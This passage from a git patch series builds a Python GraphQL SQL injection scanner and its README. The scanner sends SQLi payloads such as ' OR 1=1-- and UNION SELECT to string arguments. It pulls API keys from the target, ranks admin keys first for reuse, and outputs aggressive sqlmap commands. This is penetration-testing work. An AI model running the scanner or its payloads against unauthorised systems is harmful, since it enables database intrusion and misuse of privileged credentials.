List[str]: - """ - Encuentra valores que podrían corresponder a un argumento basándose en el nombre. - Prioriza valores que parezcan API keys o tokens (valores largos con admin/manager role). - """ arg_lower = arg_name.lower() candidates = [] - scored_candidates = [] # (score, value) - - # Coincidencia exacta + scored_candidates = [] if arg_name in extracted_values: for v in list(extracted_values[arg_name])[:3]: score = 100 - # Boost si es admin key if v in key_roles and key_roles[v].lower() in ('admin', 'manager', 'superuser'): score += 50 scored_candidates.append((score, v)) - - # Coincidencia parcial (apiKey -> api_key, api-key, etc) for key, values in extracted_values.items(): key_normalized = re.sub(r'[_\-]', '', key.lower()) arg_normalized = re.sub(r'[_\-]', '', arg_lower) - - # Coincidencia fuerte: apiKey <-> key if key_normalized in arg_normalized or arg_normalized in key_normalized: for v in list(values)[:3]: score = 80 - # Priorizar valores largos (probablemente API keys/tokens) if len(v) > 20: score += 15 - # Boost MASIVO si es admin key if v in key_roles: role = key_roles[v].lower() if 'admin' in role: @@ -410,12 +392,9 @@ def find_matching_values(arg_name: str, extracted_values: Dict[str, Set[str]], k score += 50 elif 'guest' in role or 'user' in role: score -= 20 - # Priorizar si hay "key" en ambos if 'key' in arg_lower and 'key' in key.lower(): score += 10 scored_candidates.append((score, v)) - - # Coincidencias semánticas comunes elif 'key' in arg_lower and 'key' in key.lower(): for v in list(values)[:2]: score = 70 @@ -436,8 +415,6 @@ def find_matching_values(arg_name: str, extracted_values: Dict[str, Set[str]], k elif 'name' in arg_lower and 'name' in key.lower(): for v in list(values)[:2]: scored_candidates.append((60, v)) - - # Ordenar por score y eliminar duplicados scored_candidates.sort(reverse=True, key=lambda x: x[0]) seen = set() for score, value in scored_candidates: @@ -446,12 +423,21 @@ def find_matching_values(arg_name: str, extracted_values: Dict[str, Set[str]], k seen.add(value) if len(candidates) >= 5: break - return candidates def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]]: - print(f"[*] Running introspection on {endpoint}") + """ + Ejecuta el detector y devuelve una lista filtrada de hallazgos. + - Recolectamos todas las señales en temp_findings por parámetro (field,arg) + - Post-procesamos: reportamos un parámetro SOLO si cumple reglas de confirmación: + * Tiene al menos un SQL_ERROR_* (error claro en la BD) OR + * Tiene al menos 2 distintos payloads que producen evidencia (reduce ruido) OR + * Tiene combinación de señales fuertes (RESPONSE_DIFF + NULL_ON_ATTACK) OR + * Tiene un NULL_ON_ATTACK confirmado + Esto ayuda a evitar que campos como 'author' (que pueden devolver null/syntax errors) generen demasiados falsos positivos. + """ + print(Fore.CYAN + f"[*] Running introspection on {endpoint}") intros = post_graphql(endpoint, headers, {"query": INTROSPECTION_QUERY}) schema = None try: @@ -468,26 +454,28 @@ def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]] return [] query_fields = query_type.get("fields", []) - - # Extraer valores del schema + extracted_values, key_roles = extract_values_from_schema(endpoint, headers, query_fields, types) - findings: List[Dict[str, Any]] = [] + # temp storage: (field,arg) -> list of finding dicts + temp_findings: Dict[Tuple[str, str], List[Dict[str, Any]]] = {} for field in query_fields: args = field.get("args", []) or [] if not args: continue - + field_name = field.get("name") - - # Identificar argumentos de tipo string + if not field_name or field_name.startswith("__"): + continue + + # Identify string-like args string_args = [] for arg in args: arg_type_name = extract_named_type(arg.get("type")) if is_string_type(arg_type_name): string_args.append(arg) - + if not string_args: continue @@ -495,180 +483,329 @@ def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]] return_type_def = find_type_definition(types, return_type_name) selection = pick_scalar_field_for_type(return_type_def, types) if not selection and return_type_def and return_type_def.get("fields"): - fallback = next((f for f in return_type_def["fields"] if f["name"] in ("id", "uuid", "username", "name", "title")), None) + fallback = next((f for f in return_type_def["fields"] if f["name"] in ("id", "uuid", "username", "name", "title", "__typename")), None) if fallback: selection = fallback["name"] + if not selection: + selection = "__typename" - # Preparar valores base para cada argumento + # Prepare base candidate pool for each arg base_values: Dict[str, List[str]] = {} for arg in args: arg_name = arg.get("name") arg_type_name = extract_named_type(arg.get("type")) - - # Buscar valores matching del schema (ahora con key_roles) matching = find_matching_values(arg_name, extracted_values, key_roles) - if matching: base_values[arg_name] = matching elif is_string_type(arg_type_name): - base_values[arg_name] = ["testuser", "admin", "test123"] + base_values[arg_name] = ["test", "admin", "test123"] else: base_values[arg_name] = ["1", "100"] - - # Probar cada argumento string con SQLi + for target_arg in string_args: target_arg_name = target_arg.get("name") - - # Probar múltiples combinaciones de valores para args no-target - # Priorizar valores que parezcan admin/privilegiados - test_combinations = [] - - for arg in args: - arg_name = arg.get("name") - if arg_name != target_arg_name: - possible_values = base_values.get(arg_name, ["test"]) - # Poner primero los valores más largos (probablemente admin keys) - if isinstance(possible_values, list): - possible_values.sort(key=lambda x: len(str(x)), reverse=True) - test_combinations.append((arg_name, possible_values[:3] if isinstance(possible_values, list) else list(possible_values)[:3])) - - # Generar combinaciones de argumentos no-target - if test_combinations: - # Probar primero con el valor más largo (probablemente privilegiado) - args_dict = {} # Dict vacío, no set - for arg_name, values in test_combinations: - args_dict[arg_name] = values[0] if values else "test" - args_dict[target_arg_name] = "testuser" + + # Candidate combinations for other args + other_args = [a.get("name") for a in args if a.get("name") != target_arg_name] + candidate_lists = [] + for oname in other_args: + vals = base_values.get(oname, ["test"]) + vals_sorted = sorted(vals, key=lambda x: len(str(x)), reverse=True) + candidate_lists.append(vals_sorted[:3] if isinstance(vals_sorted, list) else [str(vals_sorted)]) + + combos_to_try: List[Dict[str, str]] = [] + if candidate_lists: + max_attempts = 6 + seen = 0 + for combo in product(*candidate_lists): + args_dict = {} + for idx, oname in enumerate(other_args): + args_dict[oname] = combo[idx] + args_dict[target_arg_name] = "test" + combos_to_try.append(args_dict) + seen += 1 + if seen >= max_attempts: + break else: - args_dict = {target_arg_name: "testuser"} - - # Baseline request con múltiples intentos - base_resp = None + combos_to_try.append({target_arg_name: "test"}) + + # find working baseline + working_args: Optional[Dict[str, str]] = None base_norm = None base_has_error = True - working_args = None - - # Intentar diferentes combinaciones hasta encontrar una que funcione - for attempt in range(min(3, len(test_combinations) + 1)): - if attempt == 0: - # Primera tentativa con valores más largos - test_args = {} - for arg in args: - arg_name = arg.get("name") - if arg_name == target_arg_name: - test_args[arg_name] = "testuser" - else: - vals = base_values.get(arg_name, ["test"]) - vals.sort(key=lambda x: len(str(x)), reverse=True) - test_args[arg_name] = vals[0] if vals else "test" - else: - # Intentos adicionales con otras combinaciones - test_args = {} - for arg in args: - arg_name = arg.get("name") - if arg_name == target_arg_name: - test_args[arg_name] = "testuser" - else: - vals = base_values.get(arg_name, ["test"]) - idx = min(attempt, len(vals) - 1) if vals else 0 - test_args[arg_name] = vals[idx] if vals else "test" - - base_payload = build_query(field_name, test_args, selection) + base_resp = None + for attempt_args in combos_to_try: + base_payload = build_query(field_name, attempt_args, selection) base_resp = post_graphql(endpoint, headers, base_payload) base_norm = normalize_resp(base_resp.get("data")) base_has_error = bool(base_resp.get("data", {}).get("errors")) - if not base_has_error: - working_args = test_args.copy() - print(Fore.GREEN + Style.DIM + f"[+] Found working baseline for {field_name}.{target_arg_name} with args: {test_args}") + working_args = attempt_args.copy() + print(Fore.GREEN + Style.DIM + f"[+] Baseline for {field_name}.{target_arg_name} works with args: {attempt_args}") break - + if not working_args: - # No se encontró baseline funcional, usar la última tentativa de todos modos - working_args = test_args.copy() if 'test_args' in locals() else {target_arg_name: "testuser"} - print(Fore.YELLOW + Style.DIM + f"[!] No clean baseline found for {field_name}.{target_arg_name}, proceeding anyway...") - - # Probar cada payload SQLi + working_args = combos_to_try[0].copy() if combos_to_try else {target_arg_name: "test"} + print(Fore.YELLOW + Style.DIM + f"[!] No clean baseline found for {field_name}.{target_arg_name}, using best-effort baseline: {working_args}") + + # simple baseline for typename comparisons + simple_q_base = build_query(field_name, {**{k: v for k, v in working_args.items()}, target_arg_name: "test"}, "__typename") + simple_base_resp = post_graphql(endpoint, headers, simple_q_base) + simple_base_norm = normalize_resp(simple_base_resp.get("data")) + simple_field_value = None + try: + if isinstance(simple_base_resp.get("data"), dict): + simple_field_value = simple_base_resp.get("data", {}).get("data", {}).get(field_name) if simple_base_resp.get("data", {}).get("data") else simple_base_resp.get("data", {}).get(field_name) + except Exception: + simple_field_value = None + + # run smart payloads for payload in PAYLOADS: - # Mantener los mismos valores que funcionaron en baseline attack_args = working_args.copy() attack_args[target_arg_name] = payload - attack_payload = build_query(field_name, attack_args, selection) attack_resp = post_graphql(endpoint, headers, attack_payload) attack_query = attack_payload["query"] + # skip graphQL syntax errors (not SQLi) + gql_syntax_msg = detect_graphql_syntax_error(attack_resp.get("data")) + if gql_syntax_msg: + # skip this payload for this param + continue + + missing_arg = detect_missing_required_arg(attack_resp.get("data")) + if missing_arg: + if missing_arg not in attack_args or not attack_args.get(missing_arg): + candidate = None + if base_values.get(missing_arg): + candidate = base_values[missing_arg][0] + else: + matches = find_matching_values(missing_arg, extracted_values, key_roles) + if matches: + candidate = matches[0] + if candidate: + attack_args[missing_arg] = candidate + attack_payload = build_query(field_name, attack_args, selection) + attack_resp = post_graphql(endpoint, headers, attack_payload) + attack_query = attack_payload["query"] + gql_syntax_msg = detect_graphql_syntax_error(attack_resp.get("data")) + if gql_syntax_msg: + continue + else: + # can't fill required arg -> skip this payload + continue + sql_err = check_sql_error_in_response(attack_resp.get("data")) + attack_norm = normalize_resp(attack_resp.get("data")) + + key = (field_name, target_arg_name) + temp_findings.setdefault(key, []) if sql_err: - repro_marker = write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload) - recommended_cmd = _build_sqlmap_cmd_marker(repro_marker) - findings.append({ + temp_findings[key].append({ "field": field_name, "arg": target_arg_name, "payload": payload, - "args_used": attack_args, + "args_used": attack_args.copy(), "type": "SQL_ERROR_IN_RESPONSE", "evidence": sql_err["evidence"], "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), - "recommended_cmd": recommended_cmd, + "recommended_cmd": _build_sqlmap_cmd_marker(write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload)), + "repro": write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload), }) - print(Fore.RED + f"[!] SQL ERROR DETECTED: {field_name}.{target_arg_name}") continue - attack_norm = normalize_resp(attack_resp.get("data")) if base_norm and attack_norm and base_norm != attack_norm and not base_has_error: - repro_marker = write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload) - recommended_cmd = _build_sqlmap_cmd_marker(repro_marker) - findings.append({ + temp_findings[key].append({ "field": field_name, "arg": target_arg_name, "payload": payload, - "args_used": attack_args, + "args_used": attack_args.copy(), "type": "RESPONSE_DIFF", - "evidence": f"Baseline != Attack", + "evidence": "Baseline != Attack", "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), - "recommended_cmd": recommended_cmd, + "recommended_cmd": _build_sqlmap_cmd_marker(write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload)), + "repro": write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload), }) - print(Fore.YELLOW + f"[!] RESPONSE DIFF DETECTED: {field_name}.{target_arg_name}") continue if base_norm and attack_norm and ("null" in attack_norm) and ("null" not in base_norm): - repro_marker = write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload) - recommended_cmd = _build_sqlmap_cmd_marker(repro_marker) - findings.append({ + temp_findings[key].append({ "field": field_name, "arg": target_arg_name, "payload": payload, - "args_used": attack_args, + "args_used": attack_args.copy(), "type": "NULL_ON_ATTACK", "evidence": "Null returned on attack while baseline had data", "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), - "recommended_cmd": recommended_cmd, + "recommended_cmd": _build_sqlmap_cmd_marker(write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload)), + "repro": write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload), }) - print(Fore.YELLOW + f"[!] NULL ON ATTACK DETECTED: {field_name}.{target_arg_name}") continue - return findings + # simple-response diff (only if simple baseline had meaningful data) + if simple_field_value not in (None, {}, []) and simple_base_norm and attack_norm and simple_base_norm != attack_norm: + temp_findings[key].append({ + "field": field_name, + "arg": target_arg_name, + "payload": payload, + "args_used": attack_args.copy(), + "type": "RESPONSE_DIFF_SIMPLE", + "evidence": "Simple baseline __typename differs from attack", + "base_response": simple_base_resp.get("data"), + "attack_response": attack_resp.get("data"), + "recommended_cmd": _build_sqlmap_cmd_marker(write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload)), + "repro": write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload), + }) + continue + + # SIMPLE fallback: check payloads individually (with required-arg filling & syntax checks) + for payload in PAYLOADS: + simple_attack_q = build_query(field_name, {target_arg_name: payload}, "__typename") + simple_atk_resp = post_graphql(endpoint, headers, simple_attack_q) + + missing_arg = detect_missing_required_arg(simple_atk_resp.get("data")) + if missing_arg: + candidate = None + if base_values.get(missing_arg): + candidate = base_values[missing_arg][0] + else: + matches = find_matching_values(missing_arg, extracted_values, key_roles) + if matches: + candidate = matches[0] + if candidate: + simple_attack_q = build_query(field_name, {target_arg_name: payload, missing_arg: candidate}, "__typename") + simple_atk_resp = post_graphql(endpoint, headers, simple_attack_q) + else: + continue + + gql_syntax_msg = detect_graphql_syntax_error(simple_atk_resp.get("data")) + if gql_syntax_msg: + continue + + sa_norm = normalize_resp(simple_atk_resp.get("data")) + sa_err = check_sql_error_in_response(simple_atk_resp.get("data")) + + key = (field_name, target_arg_name) + temp_findings.setdefault(key, []) + + if sa_err: + temp_findings[key].append({ + "field": field_name, + "arg": target_arg_name, + "payload": payload, + "args_used": {target_arg_name: payload}, + "type": "SQL_ERROR_IN_RESPONSE_SIMPLE", + "evidence": sa_err["evidence"], + "base_response": simple_base_resp.get("data"), + "attack_response": simple_atk_resp.get("data"), + "recommended_cmd": _build_sqlmap_cmd_marker(write_repro_request_file_with_marker(endpoint, headers, simple_attack_q["query"], field_name, target_arg_name, payload)), + "repro": write_repro_request_file_with_marker(endpoint, headers, simple_attack_q["query"], field_name, target_arg_name, payload), + }) + break + + if simple_field_value not in (None, {}, []) and simple_base_norm and sa_norm and simple_base_norm != sa_norm: + temp_findings[key].append({ + "field": field_name, + "arg": target_arg_name, + "payload": payload, + "args_used": {target_arg_name: payload}, + "type": "RESPONSE_DIFF_SIMPLE", + "evidence": "Simple baseline __typename differs from attack", + "base_response": simple_base_resp.get("data"), + "attack_response": simple_atk_resp.get("data"), + "recommended_cmd": _build_sqlmap_cmd_marker(write_repro_request_file_with_marker(endpoint, headers, simple_attack_q["query"], field_name, target_arg_name, payload)), + "repro": write_repro_request_file_with_marker(endpoint, headers, simple_attack_q["query"], field_name, target_arg_name, payload), + }) + break + + # Post-process temp_findings to reduce false positives + final_findings: List[Dict[str, Any]] = [] + for (field_name, arg_name), items in temp_findings.items(): + # Early suppression: if all attack responses are null/empty and there is no SQL_ERROR, skip reporting + all_attack_null = True + for it in items: + atk = it.get("attack_response") + if isinstance(atk, dict): + # extract field value if possible + val = None + try: + if isinstance(atk.get("data"), dict): + val = atk.get("data", {}).get(field_name) + else: + val = atk.get(field_name) + except Exception: + val = None + if val not in (None, {}, []): + all_attack_null = False + break + else: + # non-dict attack response (text/error) -> treat as non-null evidence + all_attack_null = False + break + if all_attack_null and not any(i.get("type", "").startswith("SQL_ERROR") for i in items): + print(Fore.BLUE + Style.DIM + f"[-] Suppressing {field_name}.{arg_name}: all attack responses were null/empty and no SQL error found.") + continue + + types_present = set(i.get("type") for i in items) + payloads_present = set(i.get("payload") for i in items) + has_sql_err = any(i.get("type", "").startswith("SQL_ERROR") for i in items) + has_null_on_attack = any(i.get("type") == "NULL_ON_ATTACK" for i in items) + + # Confirm rule: report if SQL error OR multiple distinct payloads produced signals OR strong combination + if has_sql_err: + for i in items: + if i.get("type", "").startswith("SQL_ERROR"): + final_findings.append(i) + continue + + if len(payloads_present) >= 2: + seen_payloads = set() + for i in items: + p = i.get("payload") + if p not in seen_payloads: + final_findings.append(i) + seen_payloads.add(p) + continue + + if has_null_on_attack: + for i in items: + if i.get("type") == "NULL_ON_ATTACK": + final_findings.append(i) + continue + + if "RESPONSE_DIFF" in types_present and "RESPONSE_DIFF_SIMPLE" in types_present: + rep = next((i for i in items if i.get("type") in ("RESPONSE_DIFF", "RESPONSE_DIFF_SIMPLE")), None) + if rep: + final_findings.append(rep) + continue + + # otherwise ignore (likely false positive) + print(Fore.BLUE + Style.DIM + f"[-] Suppressed probable false positive for {field_name}.{arg_name} (signals: {sorted(types_present)})") + + return final_findings def print_findings_short(findings: List[Dict[str, Any]], truncate_len: int): if not findings: - print(Fore.GREEN + "[*] No obvious SQLi indications were found using the basic payloads.") + print(Fore.GREEN + "[*] No obvious SQLi indications were found using the configured payloads.") return - - print(Fore.RED + Style.BRIGHT + f"\n[!] Found {len(findings)} potential SQL injection vulnerabilities:\n") - + + print(Fore.RED + Style.BRIGHT + f"\n[!] Found {len(findings)} potential SQL injection findings:\n") + for i, f in enumerate(findings, 1): - print(Fore.RED + Style.BRIGHT + f"[{i}] VULNERABLE PARAMETER:" + Style.RESET_ALL + f" {f.get('arg')} (field: {f.get('field')})") + print(Fore.RED + Style.BRIGHT + f"[{i}] {f.get('type')}: " + Style.RESET_ALL + f"{f.get('field')}.{f.get('arg')}") if f.get('args_used'): print(Fore.YELLOW + " Arguments used:" + Style.RESET_ALL + f" {f.get('args_used')}") - print(Fore.YELLOW + " Evidence:" + Style.RESET_ALL + f" {truncate_str(str(f.get('evidence', '')), truncate_len)}") - print(Fore.CYAN + " Recommended sqlmap command:" + Style.RESET_ALL) - print(Fore.WHITE + Style.DIM + f" {f.get('recommended_cmd')}") + ev = f.get('evidence') or '' + print(Fore.YELLOW + " Evidence:" + Style.RESET_ALL + f" {truncate_str(str(ev), truncate_len)}") + if f.get('repro'): + print(Fore.CYAN + " Marker request:" + Style.RESET_ALL + f" {f.get('repro')}") + print(Fore.CYAN + " Recommended sqlmap command:" + Style.RESET_ALL) + print(Fore.WHITE + Style.DIM + f" {f.get('recommended_cmd')}") print(Style.DIM + "-" * 80 + Style.RESET_ALL) From 0a663bb7000087c437a478790f37d884bbe83f6d Mon Sep 17 00:00:00 2001 From: jonyluke Date: Tue, 16 Dec 2025 17:12:39 +0100 Subject: [PATCH 14/30] Add SQL injection payload to detector Added a new SQL injection payload to the detector. --- sqli/sqli_detector.py | 1 + 1 file changed, 1 insertion(+) diff --git a/sqli/sqli_detector.py b/sqli/sqli_detector.py index 5cece4a..551364e 100644 --- a/sqli/sqli_detector.py +++ b/sqli/sqli_detector.py @@ -76,6 +76,7 @@ def __getattr__(self, name): return "" PAYLOADS = [ '" OR "1"="1', "' OR '1'='1", + "' OR 1=1--", "admin' -- ", "x' UNION SELECT NULL-- ", '"\' OR 1=1 -- ', From a58b23ae79b0f32cb57e337c1f24d66c11a02f5f Mon Sep 17 00:00:00 2001 From: jonyluke Date: Tue, 16 Dec 2025 17:25:47 +0100 Subject: [PATCH 15/30] Enhance README with detailed detector information Expanded the README to provide detailed information about the GraphQL SQL injection detector's capabilities, usage, output, and limitations. --- sqli/README.md | 105 +++++++++++++++++++++++++++++++++---------------- 1 file changed, 72 insertions(+), 33 deletions(-) diff --git a/sqli/README.md b/sqli/README.md index 2dadf99..9cf9ec9 100644 --- a/sqli/README.md +++ b/sqli/README.md @@ -1,44 +1,83 @@ ```markdown -# GraphQL SQLi Detector +# GraphQL SQLi Detector (sqli_detector.py) -Small helper script to detect basic SQL injection indicators in GraphQL endpoints and produce reproducible sqlmap marker files. +A compact GraphQL SQL injection mini-detector (Python). This script performs GraphQL introspection, attempts a set of SQLi-like payloads against candidate string arguments, and writes reproducible marker `.http` files for use with sqlmap. The detector includes heuristics to reduce false positives and attempts to populate required arguments using values extracted from simple queries. -What it does -- Performs GraphQL introspection to enumerate Query fields and string arguments. -- Sends a curated set of SQLi-like payloads to candidate string arguments and looks for SQL error messages, notable response differences or nulls that may indicate injection. -- For each finding the script writes a marker `.http` file in `repro-payloads/` where the vulnerable value is replaced by `*`. -- Prints a recommended `sqlmap` command per finding that references the marker file and injects into `JSON[query]`. +Key capabilities +- Performs GraphQL introspection to discover Query fields and their arguments. +- Attempts to extract real values from simple queries (tokens, keys, names) to use as baseline or to fill required arguments. +- Tests string-like arguments with a curated set of SQLi payloads. +- Detects SQL error messages in GraphQL error responses. +- Detects response differences (baseline vs attack), NULL-on-attack, and other signals. +- Writes reproducible `.http` marker files in repro-payloads/ where the vulnerable value is replaced by `*`. +- Produces a recommended sqlmap command for confirmed findings. +- Adds confirmation rules to reduce false positives (report only on strong evidence). -Requirements -- Python 3.7+ -- requests (HTTP client) -``` +What the detector does (high-level) +1. Runs GraphQL introspection to obtain schema types and Query fields. +2. Tries to extract values from simple, argument-less queries (e.g., lists of objects) to collect tokens / names that may help construct valid requests. +3. For each field with string-like arguments: + - Builds a working baseline by trying a few combinations of plausible values for other args. + - Sends curated SQLi-like payloads in the target argument. + - Skips results that are simple GraphQL syntax errors. + - Detects SQL error messages, response differences, and null-on-attack. + - If a required argument is missing, attempts to fill it from extracted values. +4. For confirmed signals, writes a marker `.http` file with the attack request (vulnerable value replaced by `*`) and recommends a sqlmap command. + +Output +- Human-readable findings printed to stdout (colored if colorama is installed). +- Repro marker files in `repro-payloads/` for each finding; filenames include a timestamp and short hash to avoid collisions. +- Each finding includes: + - field and argument name + - evidence (error message or description) + - marker request path + - recommended sqlmap command (uses `-r ` and `-p "JSON[query]"`) + +Example output (sanitized) +```text +[*] Running introspection on https://example.com/graphql +[+] Baseline for user.email works with args: {'id': '123'} +[!] Found 1 potential SQL injection findings: -Install -```bash -pip install -r sqli/requirements.txt +[1] SQL_ERROR_IN_RESPONSE: user.email + Arguments used: {'id': '123', 'email': "' OR 1=1--"} + Evidence: Syntax error near '...' (truncated) + Marker request: repro-payloads/user_email_20251215T103000Z_1a2b3c4d_marker.http + Recommended sqlmap command: + sqlmap --level 5 --risk 3 -r 'repro-payloads/user_email_20251215T103000Z_1a2b3c4d_marker.http' -p "JSON[query]" --batch --skip-urlencode --parse-errors --random-agent +-------------------------------------------------------------------------------- ``` -Usage -```bash -# Basic usage; headers passed as a JSON string (example) -python3 sqli/sqli_detector.py https://example.com/graphql '{"Authorization":"Bearer TOKEN"}' +Marker (.http) files +- Generated marker files are complete HTTP POST requests to the GraphQL endpoint with a JSON body where the vulnerable value is replaced by `*`. Example body: +```http +POST /graphql HTTP/1.1 +Host: example.com +Content-Type: application/json +Authorization: Bearer TOKEN + +{"query":"query { user(id: \"123\") { email } }"} ``` +- The script will replace the attacked value with `*` in the JSON so sqlmap can inject into `JSON[query]` using `-p "JSON[query]"` and `-r `. -Output format (sanitized example) +Detection heuristics / confirmation rules +To reduce noisy false positives, the detector reports a parameter only when one of the following holds: +- A clear SQL error is present in the GraphQL `errors` (matches common DB error signatures), OR +- Two or more distinct payloads produce evidence, OR +- A combination of strong signals (e.g., RESPONSE_DIFF + NULL_ON_ATTACK), OR +- A `NULL_ON_ATTACK` signal confirmed against a meaningful baseline. -Below is a sample of the detector output with sensitive data redacted. Paths are shown as relative to the repository. +Limitations +- The script uses a small, curated payload set — not exhaustive. Use sqlmap (the generated markers) to perform deeper automated testing. +- No concurrency or rate-limiting flags are exposed in this script. For large schemas or many fields, extend the script to support workers. +- The script attempts only simple strategies to populate required args. Complex authentication or nested input objects may not be fully supported. +- Time-based SQLi (delays) are not explicitly tested by default. Add time-based payloads and response timing checks to detect blind time-based SQLi. +- The script assumes the endpoint supports GraphQL introspection. If introspection is disabled, discovery will fail. -```text -$ python3 sqli/sqli_detector.py https://example.com/graphql -[*] Running introspection on https://example.com/graphql -VULNERABLE PARAMETER: username (field: user) -Evidence: Baseline != Attack (baseline {"data": {"user": null}}, attack {"data": {"user": {"uuid": "1"}}}) -Recommended sqlmap command: -sqlmap --level 5 --risk 3 -r 'repro-payloads/user_username___marker.http' -p "JSON[query]" --batch --skip-urlencode --parse-errors --random-agent --------------------------------------------------------------------------------- -VULNERABLE PARAMETER: username (field: user) -Evidence: Baseline != Attack (baseline {"data": {"user": null}}, attack {"data": {"user": {"uuid": "3"}}}) -Recommended sqlmap command: -sqlmap -r 'repro-payloads/user_username___marker.http' -p "JSON[query]" --batch --skip-urlencode --parse-errors --random-agent -``` +Extending / Contributions +- Add command-line flags for: + - concurrency / workers + - custom payload lists and strategies + - retries / timeout / proxies / TLS options +- Expand payloads to include boolean- and time-based techniques. +- Improve extraction heuristics for nested types and input objects. From e428ac314e84f2d96db40beb1267b7d504f64b91 Mon Sep 17 00:00:00 2001 From: jonyluke Date: Tue, 16 Dec 2025 21:40:15 +0100 Subject: [PATCH 16/30] Implement crawling feature in SQLi detector Added crawling feature to extract and reuse outputs as inputs in the SQLi detector. Enhanced command-line flags for configuration. --- sqli/sqli_detector.py | 243 ++++++++++++++++++++++++++++++++++++++---- 1 file changed, 222 insertions(+), 21 deletions(-) diff --git a/sqli/sqli_detector.py b/sqli/sqli_detector.py index 551364e..b00fcd2 100644 --- a/sqli/sqli_detector.py +++ b/sqli/sqli_detector.py @@ -10,6 +10,10 @@ - Detecta SQLi incluso cuando se requieren API keys u otros parámetros válidos - Reduce falsos positivos agregando confirmación antes de reportar un parámetro (reporte solo si hay evidencia de error SQL o múltiples indicios de comportamiento anómalo) + +Adición: + - Crawl limitado (opt-in) para extraer outputs de consultas y reutilizarlos como inputs + - Flags CLI para activar/configurar el crawling """ from __future__ import annotations import os @@ -242,11 +246,18 @@ def truncate_str(s: str, n: int = 180) -> str: def build_query(field_name: str, args_dict: Dict[str, str], selection: Optional[str]) -> Dict[str, Any]: - args_str = ", ".join([f'{k}: {json.dumps(v)}' for k, v in args_dict.items()]) - if selection: - q = f'query {{ {field_name}({args_str}) {{ {selection} }} }}' + # If no args provided, omit parentheses in GraphQL query + if args_dict: + args_str = ", ".join([f'{k}: {json.dumps(v)}' for k, v in args_dict.items()]) + if selection: + q = f'query {{ {field_name}({args_str}) {{ {selection} }} }}' + else: + q = f'query {{ {field_name}({args_str}) }}' else: - q = f'query {{ {field_name}({args_str}) }}' + if selection: + q = f'query {{ {field_name} {{ {selection} }} }}' + else: + q = f'query {{ {field_name} }}' return {"query": q} @@ -309,6 +320,23 @@ def _build_sqlmap_cmd_marker(repro_marker_path: str) -> str: return f"sqlmap --level 5 --risk 3 -r '{repro_marker_path}' -p \"JSON[query]\" --batch --skip-urlencode --parse-errors --random-agent" +def get_field_from_response(resp_data: Any, field_name: str) -> Any: + """ + Robustly extract the returned field value from different GraphQL response shapes. + resp_data is expected to be the 'data' value returned by post_graphql (i.e., r.json()). + """ + if not resp_data: + return None + if isinstance(resp_data, dict): + # Typical GraphQL: { "data": { "": ... } } + if "data" in resp_data and isinstance(resp_data["data"], dict): + return resp_data["data"].get(field_name) + # Sometimes libraries return the field at top-level + if field_name in resp_data: + return resp_data.get(field_name) + return None + + def extract_values_from_schema(endpoint: str, headers: Dict[str, str], query_fields: List[Dict[str, Any]], types: List[Dict[str, Any]]) -> Tuple[Dict[str, Set[str]], Dict[str, str]]: print(Fore.CYAN + "[*] Extracting potential values from simple queries...") extracted_values: Dict[str, Set[str]] = {} @@ -367,6 +395,166 @@ def extract_values_from_schema(endpoint: str, headers: Dict[str, str], query_fie return extracted_values, key_roles +def crawl_and_extract_values(endpoint: str, + headers: Dict[str, str], + query_fields: List[Dict[str, Any]], + types: List[Dict[str, Any]], + max_depth: int = 2, + max_requests: int = 200, + max_items_per_list: int = 10) -> Tuple[Dict[str, Set[str]], Dict[str, str]]: + """ + Realiza un crawl limitado: ejecuta consultas sin args, luego usa sus outputs como inputs + para consultas que requieren args, hasta max_depth niveles. Devuelve: + - extracted_values: mapping campo -> set(de strings) + - key_roles: mapping valor_clave -> role (cuando se encuentra junto con role) + """ + print(Fore.CYAN + "[*] Crawling schema to extract values for candidate inputs...") + extracted_values: Dict[str, Set[str]] = {} + key_roles: Dict[str, str] = {} + requests_made = 0 + visited: Set[Tuple[str, str]] = set() # (field_name, args_hash) + + def collect_strings_from_obj(obj: Any, prefix: Optional[str] = None): + if isinstance(obj, dict): + for k, v in obj.items(): + if k.startswith("__"): + continue + if isinstance(v, str) and v: + extracted_values.setdefault(k, set()).add(v) + elif isinstance(v, list) and v: + for item in v[:max_items_per_list]: + if isinstance(item, str): + extracted_values.setdefault(k, set()).add(item) + elif isinstance(item, dict): + collect_strings_from_obj(item, prefix=k) + elif isinstance(v, dict): + collect_strings_from_obj(v, prefix=k) + elif isinstance(obj, list): + for item in obj[:max_items_per_list]: + collect_strings_from_obj(item, prefix=prefix) + + # Prepare a map of field_name -> field_def for quick lookup (not strictly necessary but handy) + field_map = {f.get("name"): f for f in query_fields if f.get("name") and not f.get("name").startswith("__")} + + # Seed: run all query fields without args (or with trivial args) to collect initial values + for field in query_fields: + if requests_made >= max_requests: + break + fname = field.get("name") + if not fname or fname.startswith("__"): + continue + args = field.get("args") or [] + if args: + continue + return_type_name = extract_named_type(field.get("type")) + ret_def = find_type_definition(types, return_type_name) + sel = None + if ret_def and ret_def.get("fields"): + sel = pick_scalar_field_for_type(ret_def, types) or (ret_def.get("fields")[0].get("name") if ret_def.get("fields") else "__typename") + q = build_query(fname, {}, sel) + resp = post_graphql(endpoint, headers, q) + requests_made += 1 + rdata = get_field_from_response(resp.get("data"), fname) + if rdata: + collect_strings_from_obj(rdata) + if isinstance(rdata, list): + for item in rdata[:max_items_per_list]: + if isinstance(item, dict): + key = item.get("key") or item.get("apiKey") or item.get("token") + role = item.get("role") + if key and role: + 